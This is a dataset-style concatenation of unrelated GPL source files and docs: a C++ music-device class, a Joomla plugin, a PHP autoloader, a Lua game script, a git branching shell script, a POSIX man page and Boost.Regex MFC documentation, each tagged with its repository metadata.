| dubrousky/CMaker | src/cmake/icons/CMakeIcons.java | Java | gpl-3.0 | 462 |
# Initialise
#
# Load lib functions if not already loaded
unless($_SHARED{lib}) {
spi_exec_query("select lib()");
}
my $lib = $_SHARED{lib};
$lib->{clear_cache}();
| machination/machination | server/database/functions/clear_cache.pl | Perl | gpl-3.0 | 169 |
/*
* Cantata
*
* Copyright (c) 2011-2013 Craig Drummond <[email protected]>
*
* ----
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; see the file COPYING. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
#include "umsdevice.h"
#include "utils.h"
#include "devicepropertiesdialog.h"
#include "devicepropertieswidget.h"
#include "actiondialog.h"
#include "localize.h"
#include <QDir>
#include <QFile>
#include <QFileInfo>
#include <QTextStream>
static const QLatin1String constSettingsFile("/.is_audio_player");
static const QLatin1String constMusicFolderKey("audio_folder");
UmsDevice::UmsDevice(MusicModel *m, Solid::Device &dev)
: FsDevice(m, dev)
, access(dev.as<Solid::StorageAccess>())
{
spaceInfo.setPath(access->filePath());
setup();
}
UmsDevice::~UmsDevice()
{
}
void UmsDevice::connectionStateChanged()
{
if (isConnected()) {
spaceInfo.setPath(access->filePath());
setup();
if (opts.autoScan || scanned){ // Only scan if we are set to auto scan, or we have already scanned before...
rescan(false); // Read from cache if we have it!
} else {
setStatusMessage(i18n("Not Scanned"));
}
} else {
clear();
}
}
void UmsDevice::toggle()
{
if (solidDev.isValid() && access && access->isValid()) {
if (access->isAccessible()) {
if (scanner) {
scanner->stop();
}
access->teardown();
} else {
access->setup();
}
}
}
bool UmsDevice::isConnected() const
{
return solidDev.isValid() && access && access->isValid() && access->isAccessible();
}
double UmsDevice::usedCapacity()
{
if (cacheProgress>-1) {
return (cacheProgress*1.0)/100.0;
}
if (!isConnected()) {
return -1.0;
}
return spaceInfo.size()>0 ? (spaceInfo.used()*1.0)/(spaceInfo.size()*1.0) : -1.0;
}
QString UmsDevice::capacityString()
{
if (cacheProgress>-1) {
return statusMessage();
}
if (!isConnected()) {
return i18n("Not Connected");
}
return i18n("%1 free", Utils::formatByteSize(spaceInfo.size()-spaceInfo.used()));
}
qint64 UmsDevice::freeSpace()
{
if (!isConnected()) {
return 0;
}
return spaceInfo.size()-spaceInfo.used();
}
void UmsDevice::setup()
{
if (!isConnected()) {
return;
}
QString path=spaceInfo.path();
audioFolder = path;
QFile file(path+constSettingsFile);
QString audioFolderSetting;
opts=DeviceOptions();
if (file.open(QIODevice::ReadOnly|QIODevice::Text)) {
configured=true;
QTextStream in(&file);
while (!in.atEnd()) {
QString line = in.readLine();
if (line.startsWith(constMusicFolderKey+"=")) {
audioFolderSetting=audioFolder=Utils::cleanPath(path+'/'+line.section('=', 1, 1));
if (!QDir(audioFolder).exists()) {
audioFolder = path;
}
} else if (line.startsWith(constMusicFilenameSchemeKey+"=")) {
QString scheme = line.section('=', 1, 1);
//protect against empty setting.
if( !scheme.isEmpty() ) {
opts.scheme = scheme;
}
} else if (line.startsWith(constVfatSafeKey+"=")) {
opts.vfatSafe = QLatin1String("true")==line.section('=', 1, 1);
} else if (line.startsWith(constAsciiOnlyKey+"=")) {
opts.asciiOnly = QLatin1String("true")==line.section('=', 1, 1);
} else if (line.startsWith(constIgnoreTheKey+"=")) {
opts.ignoreThe = QLatin1String("true")==line.section('=', 1, 1);
} else if (line.startsWith(constReplaceSpacesKey+"=")) {
opts.replaceSpaces = QLatin1String("true")==line.section('=', 1, 1);
} else {
unusedParams+=line;
}
}
}
bool haveOpts=FsDevice::readOpts(path+constCantataSettingsFile, opts, false);
if (!configured) {
configured=haveOpts;
}
if (opts.coverName.isEmpty()) {
opts.coverName=constDefCoverFileName;
}
// No setting, see if any standard dirs exist in path...
if (audioFolderSetting.isEmpty() || audioFolderSetting!=audioFolder) {
QStringList dirs;
dirs << QLatin1String("Music") << QLatin1String("MUSIC")
<< QLatin1String("Albums") << QLatin1String("ALBUMS");
foreach (const QString &d, dirs) {
if (QDir(path+d).exists()) {
audioFolder=path+d;
break;
}
}
}
if (!audioFolder.endsWith('/')) {
audioFolder+='/';
}
if (opts.autoScan || scanned){ // Only scan if we are set to auto scan, or we have already scanned before...
rescan(false); // Read from cache if we have it!
} else {
setStatusMessage(i18n("Not Scanned"));
}
}
void UmsDevice::configure(QWidget *parent)
{
if (!isIdle()) {
return;
}
DevicePropertiesDialog *dlg=new DevicePropertiesDialog(parent);
connect(dlg, SIGNAL(updatedSettings(const QString &, const DeviceOptions &)), SLOT(saveProperties(const QString &, const DeviceOptions &)));
if (!configured) {
connect(dlg, SIGNAL(cancelled()), SLOT(saveProperties()));
}
dlg->show(audioFolder, opts,
qobject_cast<ActionDialog *>(parent) ? (DevicePropertiesWidget::Prop_All-DevicePropertiesWidget::Prop_Folder)
: DevicePropertiesWidget::Prop_All);
}
void UmsDevice::saveProperties()
{
saveProperties(audioFolder, opts);
}
static inline QString toString(bool b)
{
return b ? QLatin1String("true") : QLatin1String("false");
}
void UmsDevice::saveOptions()
{
if (!isConnected()) {
return;
}
QString path=spaceInfo.path();
QFile file(path+constSettingsFile);
QString fixedPath(audioFolder);
if (fixedPath.startsWith(path)) {
fixedPath=QLatin1String("./")+fixedPath.mid(path.length());
}
DeviceOptions def;
if (file.open(QIODevice::WriteOnly|QIODevice::Text)) {
QTextStream out(&file);
if (!fixedPath.isEmpty()) {
out << constMusicFolderKey << '=' << fixedPath << '\n';
}
if (opts.scheme!=def.scheme) {
out << constMusicFilenameSchemeKey << '=' << opts.scheme << '\n';
}
if (opts.scheme!=def.scheme) {
out << constVfatSafeKey << '=' << toString(opts.vfatSafe) << '\n';
}
if (opts.asciiOnly!=def.asciiOnly) {
out << constAsciiOnlyKey << '=' << toString(opts.asciiOnly) << '\n';
}
if (opts.ignoreThe!=def.ignoreThe) {
out << constIgnoreTheKey << '=' << toString(opts.ignoreThe) << '\n';
}
if (opts.replaceSpaces!=def.replaceSpaces) {
out << constReplaceSpacesKey << '=' << toString(opts.replaceSpaces) << '\n';
}
foreach (const QString &u, unusedParams) {
out << u << '\n';
}
}
}
void UmsDevice::saveProperties(const QString &newPath, const DeviceOptions &newOpts)
{
QString nPath=Utils::fixPath(newPath);
if (configured && opts==newOpts && nPath==audioFolder) {
return;
}
configured=true;
bool diffCacheSettings=opts.useCache!=newOpts.useCache;
opts=newOpts;
if (diffCacheSettings) {
if (opts.useCache) {
saveCache();
} else {
removeCache();
}
}
emit configurationChanged();
QString oldPath=audioFolder;
if (!isConnected()) {
return;
}
audioFolder=nPath;
saveOptions();
FsDevice::writeOpts(spaceInfo.path()+constCantataSettingsFile, opts, false);
if (oldPath!=audioFolder) {
rescan(); // Path changed, so we can ignore cache...
}
}
| polpo/cantata-mac | devices/umsdevice.cpp | C++ | gpl-3.0 | 8,544 |
HostCMS 6.7 = 9fdd2118a94f53ca1c411a7629edf565
| gohdan/DFC | known_files/hashes/admin/wysiwyg/plugins/imagetools/plugin.min.js | JavaScript | gpl-3.0 | 47 |
def _setup_pkgresources():
import pkg_resources
import os
import plistlib
pl = plistlib.readPlist(os.path.join(
os.path.dirname(os.getenv('RESOURCEPATH')), "Info.plist"))
appname = pl.get('CFBundleIdentifier')
if appname is None:
appname = pl['CFBundleDisplayName']
path = os.path.expanduser('~/Library/Caches/%s/python-eggs' % (appname,))
pkg_resources.set_extraction_path(path)
_setup_pkgresources()
| nCoda/macOS | .eggs/py2app-0.14-py2.7.egg/py2app/bootstrap/setup_pkgresource.py | Python | gpl-3.0 | 453 |
<?php
/**
* Kunena Plugin
* @package Kunena.Plugins
* @subpackage Joomla16
*
* @Copyright (C) 2008 - 2012 Kunena Team. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* @link http://www.kunena.org
**/
defined ( '_JEXEC' ) or die ();
class plgKunenaJoomla extends JPlugin {
public function __construct(&$subject, $config) {
// Do not load if Kunena version is not supported or Kunena is offline
if (!(class_exists('KunenaForum') && KunenaForum::isCompatible('2.0') && KunenaForum::installed())) return;
parent::__construct ( $subject, $config );
$this->loadLanguage ( 'plg_kunena_joomla.sys', JPATH_ADMINISTRATOR ) || $this->loadLanguage ( 'plg_kunena_joomla.sys', KPATH_ADMIN );
$this->path = dirname ( __FILE__ );
}
/*
* Get Kunena access control object.
*
* @return KunenaAccess
*/
public function onKunenaGetAccessControl() {
if (!$this->params->get('access', 1)) return;
require_once "{$this->path}/access.php";
return new KunenaAccessJoomla($this->params);
}
/*
* Get Kunena login integration object.
*
* @return KunenaLogin
*/
public function onKunenaGetLogin() {
if (!$this->params->get('login', 1)) return;
require_once "{$this->path}/login.php";
return new KunenaLoginJoomla($this->params);
}
}
| 810/k3.0-frontend | administrator/components/com_kunena/install/plugins/plg_kunena_joomla/joomla.php | PHP | gpl-3.0 | 1,295 |
#!/bin/bash
#change to develop branch
git checkout develop
#create new branch from develop
git checkout -b feature/dummy
git add dummy.py
git commit -m"added dummy.py"
#push to remote
git push -u origin feature/dummy
#after that is sufficient
git push | vuchetichbalint/useful_python_scripts | etc/git/simple_branching.sh | Shell | gpl-3.0 | 256 |
#include "gremlin.h"
void cs_kroneckerIupdate(const cs *A, int nI, const cs *C){
int i, j, k, cnt, an, am;
double *Ax;
an = A->n;
am = A->m;
Ax = A->x;
cnt = 0;
for(i = 0; i < an; i++){
for(j = 0 ; j < nI ; j++){
for(k = 0; k < am; k++){
C->x[cnt] = Ax[i*an+k];
cnt++;
}
}
}
}
| matthewwolak/gremlin | src/cs_kroneckerIupdate.c | C | gpl-3.0 | 376 |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<style>
table.head, table.foot { width: 100%; }
td.head-rtitle, td.foot-os { text-align: right; }
td.head-vol { text-align: center; }
table.foot td { width: 50%; }
table.head td { width: 33%; }
div.spacer { margin: 1em 0; }
</style>
<title>
PTHREAD_CONDATTR_SETPSHARED(3P)</title>
</head>
<body>
<div class="mandoc">
<table class="head">
<tbody>
<tr>
<td class="head-ltitle">
PTHREAD_CONDATTR_SETPSHARED(3P)</td>
<td class="head-vol">
POSIX Programmer's Manual</td>
<td class="head-rtitle">
PTHREAD_CONDATTR_SETPSHARED(3P)</td>
</tr>
</tbody>
</table>
<div class="section">
<h1>PROLOG</h1> This manual page is part of the POSIX Programmer's Manual. The Linux implementation of this interface may differ (consult the corresponding Linux manual page for details of Linux behavior), or the interface may not be implemented on Linux.<div style="height: 1.00em;">
 </div>
</div>
<div class="section">
<h1>NAME</h1> pthread_condattr_setpshared — set the process-shared condition variable attribute</div>
<div class="section">
<h1>SYNOPSIS</h1><br/>
#include <pthread.h><div class="spacer">
</div>
int pthread_condattr_setpshared(pthread_condattr_t *<i>attr</i>,<br/>
int <i>pshared</i>);<br/>
</div>
<div class="section">
<h1>DESCRIPTION</h1> Refer to <i><i>pthread_condattr_getpshared</i>()</i>.</div>
<div class="section">
<h1>COPYRIGHT</h1> Portions of this text are reprinted and reproduced in electronic form from IEEE Std 1003.1, 2013 Edition, Standard for Information Technology -- Portable Operating System Interface (POSIX), The Open Group Base Specifications Issue 7, Copyright (C) 2013 by the Institute of Electrical and Electronics Engineers, Inc and The Open Group. (This is POSIX.1-2008 with the 2013 Technical Corrigendum 1 applied.) In the event of any discrepancy between this version and the original IEEE and The Open Group Standard, the original IEEE and The Open Group Standard is the referee document. The original Standard can be obtained online at http://www.unix.org/online.html .<div style="height: 1.00em;">
 </div>
Any typographical or formatting errors that appear in this page are most likely to have been introduced during the conversion of the source files to man page format. To report such errors, see https://www.kernel.org/doc/man-pages/reporting_bugs.html .</div>
<table class="foot">
<tr>
<td class="foot-date">
2013</td>
<td class="foot-os">
IEEE/The Open Group</td>
</tr>
</table>
</div>
</body>
</html>
| fusion809/fusion809.github.io-old | man/pthread_condattr_setpshared.3p.html | HTML | gpl-3.0 | 2,519 |
<?php
/**
* Automatically loads the specified file.
*
* @package PluginName\Lib
*/
namespace PluginName\Lib;
/**
* Automatically loads the specified file.
*
* Examines the fully qualified class name, separates it into components, then creates
* a string that represents where the file is loaded on disk.
*
* @package PluginName\Lib
*/
spl_autoload_register( function ( $filename ) {
// First, separate the components of the incoming file.
$file_path = explode( '\\', $filename );
/**
* - The first index will always be WCATL since it's part of the plugin.
* - All but the last index will be the path to the file.
*/
// Get the last index of the array. This is the class we're loading.
if ( isset( $file_path[ count( $file_path ) - 1 ] ) ) {
$class_file = strtolower(
$file_path[ count( $file_path ) - 1 ]
);
// The classname has an underscore, so we need to replace it with a hyphen for the file name.
$class_file = str_ireplace( '_', '-', $class_file );
$class_file = "class-$class_file.php";
}
/**
* Find the fully qualified path to the class file by iterating through the $file_path array.
* We ignore the first index since it's always the top-level package. The last index is always
* the file so we append that at the end.
*/
$fully_qualified_path = trailingslashit(
dirname(
dirname( __FILE__ )
)
);
for ( $i = 1; $i < count( $file_path ) - 1; $i++ ) {
$dir = strtolower( $file_path[ $i ] );
$fully_qualified_path .= trailingslashit( $dir );
}
$fully_qualified_path .= $class_file;
// Now we include the file.
if ( file_exists( $fully_qualified_path ) ) {
include_once( $fully_qualified_path );
}
}); | bjonesy/plugin-name | lib/autoloader.php | PHP | gpl-3.0 | 1,681 |
-----------------------------------
-- Area: Cloister of Storms
-- BCNM: Trial by Lightning
-----------------------------------
require("scripts/globals/keyitems");
require("scripts/globals/missions");
local ID = require("scripts/zones/Cloister_of_Storms/IDs");
-----------------------------------
-- What should go here:
-- giving key items, playing ENDING cutscenes
--
-- What should NOT go here:
-- Handling of "battlefield" status, spawning of monsters,
-- putting loot into treasure pool,
-- enforcing ANY rules (SJ/number of people/etc), moving
-- chars around, playing entrance CSes (entrance CSes go in bcnm.lua)
-- After registering the BCNM via bcnmRegister(bcnmid)
function onBcnmRegister(player,instance)
end;
-- Physically entering the BCNM via bcnmEnter(bcnmid)
function onBcnmEnter(player,instance)
end;
-- Leaving the BCNM by every mean possible, given by the LeaveCode
-- 1=Select Exit on circle
-- 2=Winning the BC
-- 3=Disconnected or warped out
-- 4=Losing the BC
-- via bcnmLeave(1) or bcnmLeave(2). LeaveCodes 3 and 4 are called
-- from the core when a player disconnects or the time limit is up, etc
function onBcnmLeave(player,instance,leavecode)
-- print("leave code "..leavecode);
trialLightning = player:getQuestStatus(OTHER_AREAS_LOG,TRIAL_BY_LIGHTNING)
if (leavecode == 2) then -- play end CS. Need time and battle id for record keeping + storage
if (trialLightning == QUEST_COMPLETED) then
player:startEvent(32001,1,1,1,instance:getTimeInside(),1,0,1);
else
player:startEvent(32001,1,1,1,instance:getTimeInside(),1,0,0);
end
elseif (leavecode == 4) then
player:startEvent(32002);
end
end;
function onEventUpdate(player,csid,option)
-- print("bc update csid "..csid.." and option "..option);
end;
function onEventFinish(player,csid,option)
-- print("bc finish csid "..csid.." and option "..option);
if (csid == 32001) then
player:delKeyItem(dsp.ki.TUNING_FORK_OF_LIGHTNING);
player:addKeyItem(dsp.ki.WHISPER_OF_STORMS);
player:messageSpecial(ID.text.KEYITEM_OBTAINED,dsp.ki.WHISPER_OF_STORMS);
end
end;
| m3rlin87/darkstar | scripts/zones/Cloister_of_Storms/bcnms/trial_by_lightning.lua | Lua | gpl-3.0 | 2,159 |
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>Iterating Over the Matches Within An MFC String</title>
<link rel="stylesheet" href="../../../../../../../../doc/src/boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.74.0">
<link rel="home" href="../../../../index.html" title="Boost.Regex">
<link rel="up" href="../mfc_strings.html" title="Using Boost Regex With MFC Strings">
<link rel="prev" href="mfc_algo.html" title="Overloaded Algorithms For MFC String Types">
<link rel="next" href="../../posix.html" title="POSIX Compatible C API's">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table cellpadding="2" width="100%"><tr>
<td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../../../../../boost.png"></td>
<td align="center"><a href="../../../../../../../../index.html">Home</a></td>
<td align="center"><a href="../../../../../../../../libs/libraries.htm">Libraries</a></td>
<td align="center"><a href="http://www.boost.org/users/people.html">People</a></td>
<td align="center"><a href="http://www.boost.org/users/faq.html">FAQ</a></td>
<td align="center"><a href="../../../../../../../../more/index.htm">More</a></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="mfc_algo.html"><img src="../../../../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../mfc_strings.html"><img src="../../../../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../../../../index.html"><img src="../../../../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="../../posix.html"><img src="../../../../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
<div class="section" lang="en">
<div class="titlepage"><div><div><h5 class="title">
<a name="boost_regex.ref.non_std_strings.mfc_strings.mfc_iter"></a><a class="link" href="mfc_iter.html" title="Iterating Over the Matches Within An MFC String">Iterating
Over the Matches Within An MFC String</a>
</h5></div></div></div>
<p>
The following helper functions are provided to ease the conversion from
an MFC/ATL string to a <a class="link" href="../../regex_iterator.html" title="regex_iterator"><code class="computeroutput"><span class="identifier">regex_iterator</span></code></a> or <a class="link" href="../../regex_token_iterator.html" title="regex_token_iterator"><code class="computeroutput"><span class="identifier">regex_token_iterator</span></code></a>:
</p>
<a name="boost_regex.ref.non_std_strings.mfc_strings.mfc_iter.regex_iterator_creation_helper"></a><h5>
<a name="id1108946"></a>
<a class="link" href="mfc_iter.html#boost_regex.ref.non_std_strings.mfc_strings.mfc_iter.regex_iterator_creation_helper">regex_iterator
creation helper</a>
</h5>
<pre class="programlisting"><span class="keyword">template</span> <span class="special"><</span><span class="keyword">class</span> <span class="identifier">charT</span><span class="special">></span>
<span class="identifier">regex_iterator</span><span class="special"><</span><span class="identifier">charT</span> <span class="keyword">const</span><span class="special">*></span>
<span class="identifier">make_regex_iterator</span><span class="special">(</span>
<span class="keyword">const</span> <span class="identifier">ATL</span><span class="special">::</span><span class="identifier">CSimpleStringT</span><span class="special"><</span><span class="identifier">charT</span><span class="special">>&</span> <span class="identifier">s</span><span class="special">,</span>
<span class="keyword">const</span> <span class="identifier">basic_regex</span><span class="special"><</span><span class="identifier">charT</span><span class="special">>&</span> <span class="identifier">e</span><span class="special">,</span>
<span class="special">::</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">regex_constants</span><span class="special">::</span><span class="identifier">match_flag_type</span> <span class="identifier">f</span> <span class="special">=</span> <span class="identifier">boost</span><span class="special">::</span><span class="identifier">regex_constants</span><span class="special">::</span><span class="identifier">match_default</span><span class="special">);</span>
</pre>
<p>
<span class="bold"><strong>Effects</strong></span>: returns <code class="computeroutput"><span class="identifier">regex_iterator</span><span class="special">(</span><span class="identifier">s</span><span class="special">.</span><span class="identifier">GetString</span><span class="special">(),</span> <span class="identifier">s</span><span class="special">.</span><span class="identifier">GetString</span><span class="special">()</span> <span class="special">+</span> <span class="identifier">s</span><span class="special">.</span><span class="identifier">GetLength</span><span class="special">(),</span>
<span class="identifier">e</span><span class="special">,</span>
<span class="identifier">f</span><span class="special">);</span></code>
</p>
<p>
<span class="bold"><strong>Example</strong></span>:
</p>
<pre class="programlisting"><span class="keyword">void</span> <span class="identifier">enumerate_links</span><span class="special">(</span><span class="keyword">const</span> <span class="identifier">CString</span><span class="special">&</span> <span class="identifier">html</span><span class="special">)</span>
<span class="special">{</span>
<span class="comment">// enumerate and print all the links in some HTML text,
</span> <span class="comment">// the expression used is by Andew Lee on www.regxlib.com:
</span> <span class="identifier">boost</span><span class="special">::</span><span class="identifier">tregex</span> <span class="identifier">r</span><span class="special">(</span>
<span class="identifier">__T</span><span class="special">(</span><span class="string">"href=[\"\']((http:\\/\\/|\\.\\/|\\/)?\\w+"</span>
<span class="string">"(\\.\\w+)*(\\/\\w+(\\.\\w+)?)*"</span>
<span class="string">"(\\/|\\?\\w*=\\w*(&\\w*=\\w*)*)?)[\"\']"</span><span class="special">));</span>
<span class="identifier">boost</span><span class="special">::</span><span class="identifier">tregex_iterator</span> <span class="identifier">i</span><span class="special">(</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">make_regex_iterator</span><span class="special">(</span><span class="identifier">html</span><span class="special">,</span> <span class="identifier">r</span><span class="special">)),</span> <span class="identifier">j</span><span class="special">;</span>
<span class="keyword">while</span><span class="special">(</span><span class="identifier">i</span> <span class="special">!=</span> <span class="identifier">j</span><span class="special">)</span>
<span class="special">{</span>
<span class="identifier">std</span><span class="special">::</span><span class="identifier">cout</span> <span class="special"><<</span> <span class="special">(*</span><span class="identifier">i</span><span class="special">)[</span><span class="number">1</span><span class="special">]</span> <span class="special"><<</span> <span class="identifier">std</span><span class="special">::</span><span class="identifier">endl</span><span class="special">;</span>
<span class="special">++</span><span class="identifier">i</span><span class="special">;</span>
<span class="special">}</span>
<span class="special">}</span>
</pre>
<a name="boost_regex.ref.non_std_strings.mfc_strings.mfc_iter.regex_token_iterator_creation_helpers"></a><h5>
<a name="id1109494"></a>
<a class="link" href="mfc_iter.html#boost_regex.ref.non_std_strings.mfc_strings.mfc_iter.regex_token_iterator_creation_helpers">regex_token_iterator
creation helpers</a>
</h5>
<pre class="programlisting"><span class="keyword">template</span> <span class="special"><</span><span class="keyword">class</span> <span class="identifier">charT</span><span class="special">></span>
<span class="identifier">regex_token_iterator</span><span class="special"><</span><span class="identifier">charT</span> <span class="keyword">const</span><span class="special">*></span>
<span class="identifier">make_regex_token_iterator</span><span class="special">(</span>
<span class="keyword">const</span> <span class="identifier">ATL</span><span class="special">::</span><span class="identifier">CSimpleStringT</span><span class="special"><</span><span class="identifier">charT</span><span class="special">>&</span> <span class="identifier">s</span><span class="special">,</span>
<span class="keyword">const</span> <span class="identifier">basic_regex</span><span class="special"><</span><span class="identifier">charT</span><span class="special">>&</span> <span class="identifier">e</span><span class="special">,</span>
<span class="keyword">int</span> <span class="identifier">sub</span> <span class="special">=</span> <span class="number">0</span><span class="special">,</span>
<span class="special">::</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">regex_constants</span><span class="special">::</span><span class="identifier">match_flag_type</span> <span class="identifier">f</span> <span class="special">=</span> <span class="identifier">boost</span><span class="special">::</span><span class="identifier">regex_constants</span><span class="special">::</span><span class="identifier">match_default</span><span class="special">);</span>
</pre>
<p>
<span class="bold"><strong>Effects</strong></span>: returns <code class="computeroutput"><span class="identifier">regex_token_iterator</span><span class="special">(</span><span class="identifier">s</span><span class="special">.</span><span class="identifier">GetString</span><span class="special">(),</span> <span class="identifier">s</span><span class="special">.</span><span class="identifier">GetString</span><span class="special">()</span> <span class="special">+</span> <span class="identifier">s</span><span class="special">.</span><span class="identifier">GetLength</span><span class="special">(),</span>
<span class="identifier">e</span><span class="special">,</span>
<span class="identifier">sub</span><span class="special">,</span>
<span class="identifier">f</span><span class="special">);</span></code>
</p>
<pre class="programlisting"><span class="keyword">template</span> <span class="special"><</span><span class="keyword">class</span> <span class="identifier">charT</span><span class="special">></span>
<span class="identifier">regex_token_iterator</span><span class="special"><</span><span class="identifier">charT</span> <span class="keyword">const</span><span class="special">*></span>
<span class="identifier">make_regex_token_iterator</span><span class="special">(</span>
<span class="keyword">const</span> <span class="identifier">ATL</span><span class="special">::</span><span class="identifier">CSimpleStringT</span><span class="special"><</span><span class="identifier">charT</span><span class="special">>&</span> <span class="identifier">s</span><span class="special">,</span>
<span class="keyword">const</span> <span class="identifier">basic_regex</span><span class="special"><</span><span class="identifier">charT</span><span class="special">>&</span> <span class="identifier">e</span><span class="special">,</span>
<span class="keyword">const</span> <span class="identifier">std</span><span class="special">::</span><span class="identifier">vector</span><span class="special"><</span><span class="keyword">int</span><span class="special">>&</span> <span class="identifier">subs</span><span class="special">,</span>
<span class="special">::</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">regex_constants</span><span class="special">::</span><span class="identifier">match_flag_type</span> <span class="identifier">f</span> <span class="special">=</span> <span class="identifier">boost</span><span class="special">::</span><span class="identifier">regex_constants</span><span class="special">::</span><span class="identifier">match_default</span><span class="special">);</span>
</pre>
<p>
<span class="bold"><strong>Effects</strong></span>: returns <code class="computeroutput"><span class="identifier">regex_token_iterator</span><span class="special">(</span><span class="identifier">s</span><span class="special">.</span><span class="identifier">GetString</span><span class="special">(),</span> <span class="identifier">s</span><span class="special">.</span><span class="identifier">GetString</span><span class="special">()</span> <span class="special">+</span> <span class="identifier">s</span><span class="special">.</span><span class="identifier">GetLength</span><span class="special">(),</span>
<span class="identifier">e</span><span class="special">,</span>
<span class="identifier">subs</span><span class="special">,</span>
<span class="identifier">f</span><span class="special">);</span></code>
</p>
<pre class="programlisting"><span class="keyword">template</span> <span class="special"><</span><span class="keyword">class</span> <span class="identifier">charT</span><span class="special">,</span> <span class="identifier">std</span><span class="special">::</span><span class="identifier">size_t</span> <span class="identifier">N</span><span class="special">></span>
<span class="identifier">regex_token_iterator</span><span class="special"><</span><span class="identifier">charT</span> <span class="keyword">const</span><span class="special">*></span>
<span class="identifier">make_regex_token_iterator</span><span class="special">(</span>
<span class="keyword">const</span> <span class="identifier">ATL</span><span class="special">::</span><span class="identifier">CSimpleStringT</span><span class="special"><</span><span class="identifier">charT</span><span class="special">>&</span> <span class="identifier">s</span><span class="special">,</span>
<span class="keyword">const</span> <span class="identifier">basic_regex</span><span class="special"><</span><span class="identifier">charT</span><span class="special">>&</span> <span class="identifier">e</span><span class="special">,</span>
<span class="keyword">const</span> <span class="keyword">int</span> <span class="special">(&</span> <span class="identifier">subs</span><span class="special">)[</span><span class="identifier">N</span><span class="special">],</span>
<span class="special">::</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">regex_constants</span><span class="special">::</span><span class="identifier">match_flag_type</span> <span class="identifier">f</span> <span class="special">=</span> <span class="identifier">boost</span><span class="special">::</span><span class="identifier">regex_constants</span><span class="special">::</span><span class="identifier">match_default</span><span class="special">);</span>
</pre>
<p>
<span class="bold"><strong>Effects</strong></span>: returns <code class="computeroutput"><span class="identifier">regex_token_iterator</span><span class="special">(</span><span class="identifier">s</span><span class="special">.</span><span class="identifier">GetString</span><span class="special">(),</span> <span class="identifier">s</span><span class="special">.</span><span class="identifier">GetString</span><span class="special">()</span> <span class="special">+</span> <span class="identifier">s</span><span class="special">.</span><span class="identifier">GetLength</span><span class="special">(),</span>
<span class="identifier">e</span><span class="special">,</span>
<span class="identifier">subs</span><span class="special">,</span>
<span class="identifier">f</span><span class="special">);</span></code>
</p>
<p>
<span class="bold"><strong>Example</strong></span>:
</p>
<pre class="programlisting"><span class="keyword">void</span> <span class="identifier">enumerate_links2</span><span class="special">(</span><span class="keyword">const</span> <span class="identifier">CString</span><span class="special">&</span> <span class="identifier">html</span><span class="special">)</span>
<span class="special">{</span>
<span class="comment">// enumerate and print all the links in some HTML text,
</span> <span class="comment">// the expression used is by Andew Lee on www.regxlib.com:
</span> <span class="identifier">boost</span><span class="special">::</span><span class="identifier">tregex</span> <span class="identifier">r</span><span class="special">(</span>
<span class="identifier">__T</span><span class="special">(</span><span class="string">"href=[\"\']((http:\\/\\/|\\.\\/|\\/)?\\w+"</span>
<span class="string">"(\\.\\w+)*(\\/\\w+(\\.\\w+)?)*"</span>
<span class="string">"(\\/|\\?\\w*=\\w*(&\\w*=\\w*)*)?)[\"\']"</span><span class="special">));</span>
<span class="identifier">boost</span><span class="special">::</span><span class="identifier">tregex_token_iterator</span> <span class="identifier">i</span><span class="special">(</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">make_regex_token_iterator</span><span class="special">(</span><span class="identifier">html</span><span class="special">,</span> <span class="identifier">r</span><span class="special">,</span> <span class="number">1</span><span class="special">)),</span> <span class="identifier">j</span><span class="special">;</span>
<span class="keyword">while</span><span class="special">(</span><span class="identifier">i</span> <span class="special">!=</span> <span class="identifier">j</span><span class="special">)</span>
<span class="special">{</span>
<span class="identifier">std</span><span class="special">::</span><span class="identifier">cout</span> <span class="special"><<</span> <span class="special">*</span><span class="identifier">i</span> <span class="special"><<</span> <span class="identifier">std</span><span class="special">::</span><span class="identifier">endl</span><span class="special">;</span>
<span class="special">++</span><span class="identifier">i</span><span class="special">;</span>
<span class="special">}</span>
<span class="special">}</span>
</pre>
</div>
<table xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" width="100%"><tr>
<td align="left"></td>
<td align="right"><div class="copyright-footer">Copyright © 1998 -2010 John Maddock<p>
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at <a href="http://www.boost.org/LICENSE_1_0.txt" target="_top">http://www.boost.org/LICENSE_1_0.txt</a>)
</p>
</div></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="mfc_algo.html"><img src="../../../../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../mfc_strings.html"><img src="../../../../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../../../../index.html"><img src="../../../../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="../../posix.html"><img src="../../../../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
</body>
</html>
| gorkinovich/DefendersOfMankind | dependencies/boost-1.46.0/libs/regex/doc/html/boost_regex/ref/non_std_strings/mfc_strings/mfc_iter.html | HTML | gpl-3.0 | 20,037 |
/*
